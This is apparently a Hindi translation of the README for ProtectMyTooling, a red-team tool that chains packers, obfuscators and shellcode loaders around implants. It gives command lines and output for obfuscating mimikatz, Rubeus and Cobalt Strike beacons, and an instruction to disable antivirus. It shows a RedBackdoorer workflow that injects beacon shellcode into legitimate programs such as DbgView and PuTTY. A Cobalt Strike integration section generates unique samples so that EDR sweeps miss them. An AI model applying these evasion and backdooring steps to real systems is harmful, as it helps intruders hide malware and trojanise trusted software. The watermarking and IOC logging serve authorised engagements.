उपरोक्त उदाहरण सबसे पहले `mimikatz.exe` को अस्पष्टीकरण के लिए Hyperion को देगा, और फिर परिणाम UPX को संपीड़न के लिए प्रदान किया जाएगा। परिणाम `UPX(Hyperion(file))` होगा।

## Features

- कई विभिन्न PE पैकर्स, .NET अस्पष्टकर्ता, शेलकोड लोडर/बिल्डर का समर्थन करता है
- पैकर्स को श्रृंखलाबद्ध करने की अनुमति देता है जहां एक पैकर का आउटपुट अगले को दिया जाता है: `callobf,hyperion,upx` कलाकृति `UPX(Hyperion(CallObf(file)))` उत्पन्न करेगा
- हर अस्पष्टीकरण चरण पर IOCs एकत्र करता है ताकि ऑडिटिंग और ब्लू टीम अनुरोधों को संतुष्ट किया जा सके
- परिणामी PE कलाकृतियों में कस्टम वॉटरमार्क इंजेक्ट करने की कार्यक्षमता प्रदान करता है - DOS स्टब, चेकसम, एक स्टैंडअलोन PE अनुभाग के रूप में, फ़ाइल के ओवरले में
- एक उपयोगी Cobalt Strike आक्रामक स्क्रिप्ट प्रदान करता है जो `protected-upload` और `protected-execute-assembly` कमांड लाता है
- सीधा कमांड लाइन उपयोग

## Installation

**यह उपकरण Windows पर काम करने के लिए डिज़ाइन किया गया है, क्योंकि अधिकांश पैकर मूल रूप से उस प्लेटफॉर्म को लक्षित करते हैं।**

कुछ सुविधाएँ Linux पर ठीक काम कर सकती हैं, फिर भी उस समर्थन का पूरी तरह से परीक्षण नहीं किया गया है, कृपया बग और समस्याओं की रिपोर्ट करें।

1. पहले, **अपना AV अक्षम करें** और `contrib` निर्देशिका को बहिष्करण में जोड़ें। उस निर्देशिका में अस्पष्टकर्ता, सुरक्षक शामिल हैं जो AV द्वारा फ़्लैग किए जाएंगे और हटा दिए जाएंगे।
2. फिर इस रिपॉजिटरी को क्लोन करें```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling

**Linux**```
bash# ./install.sh

## कॉन्फ़िगरेशन

समर्थित ऑबफ़सकेटर को प्लग-इन करने, डिफ़ॉल्ट विकल्पों को बदलने या **ProtectMyTooling** को अपने ऑबफ़सकेटर निष्पादन योग्य पथ पर इंगित करने के लिए, आपको `config\ProtectMyTooling.yaml` कॉन्फ़िगरेशन फ़ाइल को समायोजित करने की आवश्यकता होगी।

`config\sample-full-config.yaml` फ़ाइल भी है जिसमें सभी समर्थित पैकर्स के लिए सभी उपलब्ध विकल्प शामिल हैं, जो एक संदर्भ बिंदु के रूप में कार्य करती है।


## मैत्रीपूर्ण अनुस्मारक

- यदि आपका उत्पादित बाइनरी क्रैश होता है या अपेक्षित रूप से नहीं चलता है - तो विभिन्न पैकर्स श्रृंखला का उपयोग करने का प्रयास करें।
- पैकर्स उत्पादित बाइनरी की स्थिरता की गारंटी नहीं देते हैं, इसलिए ProtectMyTooling भी नहीं कर सकता।
- श्रृंखला बनाते समय, आउटपुट->इनपुट पेलोड प्रारूपों को ध्यानपूर्वक मिलाएं, जैसा कि क्रमिक पैकर अपेक्षा करता है।

---

## उपयोग

`ProtectMyTooling` के पहले उपयोग से पहले, प्रोग्राम की YAML कॉन्फ़िगरेशन फ़ाइल `ProtectMyTooling.yaml` को समायोजित करना आवश्यक है।
पैरामीटर प्रसंस्करण का क्रम निम्नलिखित है:

- सबसे पहले डिफ़ॉल्ट पैरामीटर का उपयोग किया जाता है
- फिर वे YAML से आने वाले मानों द्वारा अधिलेखित कर दिए जाते हैं
- अंत में, कमांड लाइन में जो कुछ भी प्रदान किया जाता है, वह संबंधित मानों को अधिलेखित कर देगा

वहां, सक्षम करने के लिए समर्थित पैकर पथ और विकल्प सेट किए जाने चाहिए।

### परिदृश्य 1: सरल ConfuserEx ऑबफ़स्केशन

उपयोग बहुत सरल है, बस ऑबफ़सकेटर का नाम चुनने के लिए, इनपुट और आउटपुट फ़ाइल पथ पास करना होता है:```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

[...]

### परिदृश्य 3: वॉटरमार्किंग और IOCs संग्रह के साथ जटिल मैलवेयर अस्पष्टीकरण

नीचे दिया गया उपयोग मामला इनपुट के रूप में `beacon.exe` लेता है और इसे क्रमिक रूप से `CallObf` -> `UPX` -> `Hyperion` पैकर्स में फीड करता है।

फिर यह अंतिम उत्पन्न आउटपुट आर्टिफैक्ट के DOS स्टब में निर्दिष्ट `fooobar` वॉटरमार्क इंजेक्ट करेगा, साथ ही उस आर्टिफैक्ट के चेकसम को मान `0xAABBCCDD` के साथ संशोधित करेगा।

अंत में, ProtectMyTooling सभी IOCs (md5, sha1, sha256, imphash, और अन्य मेटाडेटा) को कैप्चर करेगा और उन्हें सहायक CSV फ़ाइल में सहेजेगा। उस फ़ाइल का उपयोग एंगेजमेंट खुलने पर IOC मिलान के लिए किया जा सकता है।```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

## समर्थित पैकर्स

`ProtectMyTooling` को न केवल ओबफस्केटर्स/पैकर्स बल्कि कमांड लाइन से उपयोग किए जा सकने वाले सभी प्रकार के बिल्डर्स/जनरेटर/शेलकोड लोडर्स का समर्थन करने के लिए डिज़ाइन किया गया था।

वर्तमान में, प्रोग्राम विभिन्न व्यावसायिक और ओपन-सोर्स पैकर्स/ओबफस्केटर्स का समर्थन करता है। ओपन-सोर्स वाले प्रोजेक्ट के साथ बंडल किए गए हैं।
व्यावसायिक वाले के लिए उपयोगकर्ता को उत्पाद खरीदना होगा और `ProtectMyTooling.yaml` फ़ाइल में उसका स्थान कॉन्फ़िगर करना होगा ताकि स्क्रिप्ट को पता चले कि उन्हें कहाँ खोजना है।

1. [`Amber`](https://github.com/EgeBalci/amber) - रिफ्लेक्टिव पीई पैकर जो इनपुट के रूप में EXE/DLL लेता है और EXE/PIC शेलकोड उत्पन्न करता है
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - एक अत्यधिक सक्षम पीई पैकर
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Charterino द्वारा .NET असेंबलियों के लिए एक कंसोल ओबफस्केटर
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - विशिष्ट विंडोज एपीआई को विभिन्न एपीआई से ओबफस्केट करता है।
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - लोकप्रिय .NET ओबफस्केटर, [Martin Karing](https://github.com/mkaring) से फोर्क किया गया
6. [`Donut`](https://github.com/TheWover/donut) - लोकप्रिय पीई लोडर जो इनपुट के रूप में EXE/DLL/.NET लेता है और PIC शेलकोड उत्पन्न करता है
7. [`Enigma`](https://enigmaprotector.com/) - निष्पादन योग्य फ़ाइलों के व्यापक संरक्षण के लिए डिज़ाइन की गई एक शक्तिशाली प्रणाली
8. [`Freeze`](https://github.com/optiv/Freeze) - इनपुट EXE/DLL फ़ाइल लेता है और आउटपुट के रूप में एक फ़ाइल उत्पन्न करता है जिसमें क्लोन किया गया प्रमाणपत्र, हटाए गए Go-विशिष्ट IoC और बढ़ा हुआ आकार होता है। Matt Eidelberg (@Tyl0us) द्वारा।
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - 32-बिट और 64-बिट पोर्टेबल निष्पादन योग्य फ़ाइलों के लिए रनटाइम एन्क्रिप्टर। यह एक संदर्भ कार्यान्वयन है और पेपर "Hyperion: Implementation of a PE-Crypter" पर आधारित है
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - मजबूत लाइसेंस सुरक्षा, अत्यधिक अनुकूलनीय लाइसेंसिंग कार्यक्षमता/स्कीमा को विश्वसनीय असेंबली सुरक्षा के साथ जोड़ता है
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - `Invoke-Obfuscation` (Daniell Bohannon द्वारा) के साथ PowerShell स्क्रिप्ट को ओबफस्केट करता है
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - AnErrupTion द्वारा dnlib का उपयोग करके एक अधिक उन्नत मुफ्त और ओपन-सोर्स .NET ओबफस्केटर
13. [`Mangle`](https://github.com/optiv/Mangle) - इनपुट EXE/DLL फ़ाइल लेता है और आउटपुट के रूप में एक फ़ाइल उत्पन्न करता है जिसमें क्लोन किया गया प्रमाणपत्र, हटाए गए Go-विशिष्ट IoC और बढ़ा हुआ आकार होता है। Matt Eidelberg (@Tyl0us) द्वारा।
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - Vitaly Evseenko द्वारा MPRESS कंप्रेसर। इनपुट EXE/DLL/.NET/MAC-DARWIN (x86/x64) लेता है और इसे संपीड़ित करता है।
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - अद्वितीय .NET कोड सुरक्षा प्रणाली जो किसी को भी आपके कोड को डीकंपाइल करने से पूरी तरह रोकती है
16. [`NetShrink`](https://www.pelock.com/pl/produkty/netshrink) - एक exe पैकर उर्फ निष्पादन योग्य कंप्रेसर, एप्लिकेशन पासवर्ड प्रोटेक्टर और विंडोज और लिनक्स .NET अनुप्रयोगों के लिए वर्चुअल DLL बाइंडर।
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - Nim लोडर उत्पन्न करता है जो इनपुट .NET, PE या रॉ शेलकोड चलाता है। लेखक: [(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - इनपुट पर शेलकोड या .NET निष्पादन योग्य लेता है, EXE या DLL लोडर उत्पन्न करता है। Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten) द्वारा प्रस्तुत
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - PE/शेलकोड/.NET निष्पादन योग्य लेता है और एक मजबूत Nim+Syscalls EXE/DLL लोडर उत्पन्न करता है। लेखक द्वारा प्रायोजित सॉफ्टवेयर [(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - John Adams के `Packer64` के चारों ओर एक रैपर
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - PE को शेलकोड में परिवर्तित करता है। आपके विनम्र [@hasherezade](https://twitter.com/hasherezade) द्वारा
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - एक मल्टी-पास एनकोडर और ह्युरिस्टिक सैंडबॉक्स बायपास AV एवेज़न टूल
23. [`peresed`](https://github.com/avast/pe_tools) - सभी मौजूदा PE संसाधनों और हस्ताक्षर को हटाने के लिए **avast/pe_tools** से _"peresed"_ का उपयोग करता है _(Mimikatz आइकन के बारे में सोचें)।_
24. [`peunion`](https://bytecode77.com/pe-union) - निष्पादन योग्य फ़ाइलों (x86 या .NET x86/x64) को एन्क्रिप्ट करता है, जो रनटाइम पर डिक्रिप्ट होती हैं और मेमोरी में निष्पादित होती हैं
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - EDR-एवेज़िव x64 शेलकोड लोडर जो DLL/CPL/XLL/JScript/HTA आर्टिफैक्ट लोडर उत्पन्न करता है
26. [`sgn`](https://github.com/EgeBalci/sgn) - शिकाटा गा नई (仕方がない) एनकोडर को कई सुधारों के साथ go में पोर्ट किया गया। शेलकोड लेता है, एनकोडेड शेलकोड उत्पन्न करता है
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - ओबफस्केटर जो रिवर्स-इंजीनियरिंग या संशोधन के खिलाफ आपके एप्लिकेशन की रक्षा करने में मदद करता है, किसी तीसरे पक्ष के लिए आपके स्रोत कोड तक पहुंचना कठिन बनाकर
28. [`sRDI`](https://github.com/monoxgas/sRDI) - DLL को पोजीशन इंडिपेंडेंट शेलकोड में परिवर्तित करें। लेखक: [Nick Landers, @monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - उन्नत विंडोज सॉफ्टवेयर सुरक्षा प्रणाली
30. [`UPX`](https://upx.github.io/) - कई निष्पादन योग्य प्रारूपों के लिए एक मुफ्त, पोर्टेबल, विस्तार योग्य, उच्च-प्रदर्शन निष्पादन योग्य पैकर।
31. [`VMProtect`](https://vmpsoft.com/) - गैर-मानक आर्किटेक्चर वाली वर्चुअल मशीन पर कोड निष्पादित करके कोड की रक्षा करता है जो सॉफ्टवेयर का विश्लेषण और क्रैक करना बेहद कठिन बना देता है

आप `-L` विकल्प का उपयोग करके समर्थित पैकर्स को जल्दी से सूचीबद्ध कर सकते हैं (टेबल कॉलम टर्मिनल की चौड़ाई के अनुसार चुने जाते हैं, जितना चौड़ा उतनी अधिक जानकारी प्रकट होती है):```
C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege Balci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |  atompepacker  | open-source |  PE EXE/DLL Protector |              PE             |        EXE, DLL        |            ORCA (@ORCx41, [email protected])            |
| 4  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 5  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 6  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 7  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 8  |     enigma     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |          The Enigma Protector Developers Team          |
| 9  |     freeze     | open-source |    Shellcode Loader   |          Shellcode          |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 10 |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 11 |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 12 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 13 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 14 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 15 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 16 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 17 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 18 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 19 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 20 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                    @S3cur3Th1sSh1t                     |
| 21 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 22 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 23 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 24 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 25 |    peunion     |   freeware  | PE EXE/DLL Compressor |           PE, .NET          |           PE           |  Martin Fischer / bytecode77 <[email protected]>   |
| 26 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 27 |      sgn       | open-source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 28 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 29 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 30 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 31 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                        vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

एक स्टैंडअलोन दृष्टिकोण भी है, जो `RedWatermarker.py` स्क्रिप्ट में शामिल है।

यह इनपुट पर एक निष्पादन योग्य आर्टिफैक्ट लेता है और कुछ पैरामीटर स्वीकार करता है जो यह दर्शाते हैं कि वॉटरमार्क कहाँ इंजेक्ट करना है और कौन सा मान डाला जाना चाहिए।

उदाहरण रन PE Checksum को 0xAABBCCDD पर सेट करेगा, PE फ़ाइल के DOS Stub (बाइट्स जिनमें _This program cannot be run..._ है) में `foooobar` डालेगा, फ़ाइल के ओवरले में `bazbazbaz` जोड़ेगा और फिर `.coco` नामक एक नया PE सेक्शन बनाकर फ़ाइल के अंत में जोड़ेगा और उस सेक्शन को प्रीसेट मार्कर से भर देगा।```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

                  ;
                  ED.
                 ,E#Wi

Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

वर्तमान में केवल PE फ़ाइलों की वॉटरमार्किंग समर्थित है, लेकिन भविष्य में Office दस्तावेज़ और अन्य प्रारूप भी जोड़े जाने हैं।


### IOCs संग्रह

IOCs को केवल `ProtectMyTooling` चलाने में `-i` विकल्प का उपयोग करके एकत्र किया जा सकता है।

वे निम्नलिखित चरणों में एकत्र किए जा रहे हैं:

- इनपुट फ़ाइल पर
- प्रत्येक अस्पष्टीकरण दौर के बाद एक मध्यवर्ती फ़ाइल पर
- अंतिम आउटपुट फ़ाइल पर

उनमें CSV फ़ाइल के रूप में सहेजे गए निम्नलिखित फ़ील्ड होंगे:

- `timestamp`
- `filename`
- `author` - `username@hostname` के रूप में बनता है
- `context` - क्या रिकॉर्ड इनपुट, आउटपुट या मध्यवर्ती फ़ाइल की ओर इशारा करता है
- `comment` - उपयोगकर्ता द्वारा `-I value` विकल्प के माध्यम से समायोजित मान
- `md5`
- `sha1`
- `sha256`
- `imphash` - PE आयात हैश, यदि उपलब्ध हो
- (TODO) `typeref_hash` - .NET TypeRef हैश, यदि उपलब्ध हो

परिणामस्वरूप `outfile-ioc.csv` नामक एक CSV फ़ाइल उत्पन्न आउटपुट आर्टिफैक्ट के बगल में संग्रहीत होगी। वह फ़ाइल APPEND मोड में लिखी जाती है, जिसका अर्थ है कि इसे बाद के सभी IOC प्राप्त होंगे।


# RedBackdoorer - अंतर्निहित PE बैकडोरिंग

`ProtectMyTooling` मेरी अपनी `RedBackdoorer.py` स्क्रिप्ट का उपयोग करता है जो PE निष्पादनयोग्य में बैकडोर डालने के लिए कुछ विधियाँ प्रदान करती है। 
समर्थन `backdoor` नामक एक समर्पित पैकर के रूप में आता है। उदाहरण उपयोग:

**इनपुट पर Cobalt Strike शेलकोड लेता है और SGN (Shikata Ga-Nai) से एनकोड करता है, फिर SysInternals DbgView64.exe में बैकडोर डालता है, फिर Amber EXE रिफ्लेक्टिव लोडर उत्पन्न करता है**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

 ██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█   ▀▒██▀ ██▌
▓██ ░▄█ ▒███  ░██   █▌
▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
  ░▒ ░ ▒░░ ░  ░░ ▒  ▒
  ░░   ░   ░   ░ ░  ░
 ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
▒██▒ ▄█▒██  ▀█▄ ▒▓█    ▄▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
 ░    ░  ░   ▒  ░       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
 ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
      ░         ░              ░


Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

save,run
  |   |
  |   +---------- 1 - change AddressOfEntryPoint
  |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
  |               3 - setup TLS callback
  |
  +-------------- 1 - store shellcode in the middle of a code section
                  2 - append shellcode to the PE file in a new PE section

py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe

# Cobalt Strike एकीकरण

एक स्क्रिप्ट भी है जो `ProtectMyTooling.py` को एकीकृत करती है, जो कॉन्फ़िगर किए गए PE/.NET पैकर्स/प्रोटेक्टर्स के चारों ओर एक रैपर के रूप में उपयोग की जाती है, ताकि इनपुट एक्सीक्यूटेबल्स को आसानी से उनके संरक्षित और संपीड़ित आउटपुट रूपों में परिवर्तित किया जा सके और फिर उन्हें CobaltStrike से अपलोड या उपयोग किया जा सके।

विचार यह है कि execute-assembly द्वारा उपयोग किए जाने वाले सभी अपलोड किए गए बाइनरी या .NET असेंबलियों की सुरक्षा की एक स्वचालित प्रक्रिया हो, और प्रत्येक उपयोग से पहले उन्हें मैन्युअल रूप से सुरक्षित या ऑबफस्केट करने के बारे में भूल जाएँ। एक्सीक्यूटेबल्स को रूपांतरित करने के लिए स्वचालित दृष्टिकोण का अतिरिक्त लाभ यह है कि हर बार उपयोग होने पर समान एक्सीक्यूटेबल को सुरक्षित किया जा सकता है, जिसके परिणामस्वरूप लक्ष्य मशीनों पर अद्वितीय नमूने लॉन्च होते हैं। इससे EDR/AV को एंटरप्राइज़-वाइड IOC स्वीप के दौरान अलग-अलग मशीनों पर एक ही आर्टिफैक्ट की खोज करते हुए अच्छी तरह से धोखा देना चाहिए।

इसके अतिरिक्त, protected-execute-assembly कमांड में उन असेंबलियों को खोजने की क्षमता है जिनका केवल नाम पूर्व-कॉन्फ़िगर किए गए असेंबलियों निर्देशिका (dotnet_assemblies_directory सेटिंग में सेट) में दिया गया था।

इसका उपयोग करने के लिए:

1. अपने Cobalt Strike में `CobaltStrike/ProtectMyTooling.cna` लोड करें।
2. मेनू पर जाएँ और सभी विकल्प सेट करें

![options](https://assets.kitploit.com/production/public/readmes/5634/45a8a4f1c128ccf0c0712410e5972c0197b5089b228eaaed38b5a23fa46ca5fd.png)

3. फिर आपके Beacon के कंसोल में निम्नलिखित कमांड उपलब्ध होंगे:

  * `protected-execute-assembly` - लक्ष्य पर मेमोरी में एक स्थानीय, पहले से संरक्षित और संपीड़ित .NET प्रोग्राम को निष्पादित करता है।
  * `protected-upload` - एक इनपुट फ़ाइल लेता है, यदि वह PE एक्सीक्यूटेबल है तो उसे सुरक्षित करता है और फिर उस फ़ाइल को निर्दिष्ट दूरस्थ स्थान पर अपलोड करता है।
  * `bofnet_load_protected` - इनपुट .NET असेंबली फ़ाइल लेता है, इसे कॉन्फ़िगर किए गए .NET पैकर्स चेन के माध्यम से पास करता है, उत्पन्न आउटपुट को `bofnet_load` के साथ लोड करता है। इसके काम करने के लिए [BOFNET](https://github.com/CCob/BOF.NET/) को अलग से लोड करना आवश्यक है।

मूलतः ये कमांड इनपुट फ़ाइलों को खोलेंगे, पहले उन्हें `CobaltStrike/cobaltProtectMyTooling.py` स्क्रिप्ट में भेजेंगे, जो बदले में `ProtectMyTooling.py` को कॉल करती है। जैसे ही बाइनरी ऑबफस्केट हो जाती है, इसे निष्पादन/अपलोडिंग के लिए आपके beacon को भेज दिया जाएगा।

## Cobalt Strike से संबंधित विकल्प

यहाँ Cobalt Strike इंटीग्रेटर द्वारा आवश्यक विकल्पों की सूची है:

* `python3_interpreter_path` - Python3 इंटरप्रेटर एक्सीक्यूटेबल का पथ निर्दिष्ट करें
* `protect_my_tooling_dir` - ProtectMyTooling मुख्य निर्देशिका का पथ निर्दिष्ट करें
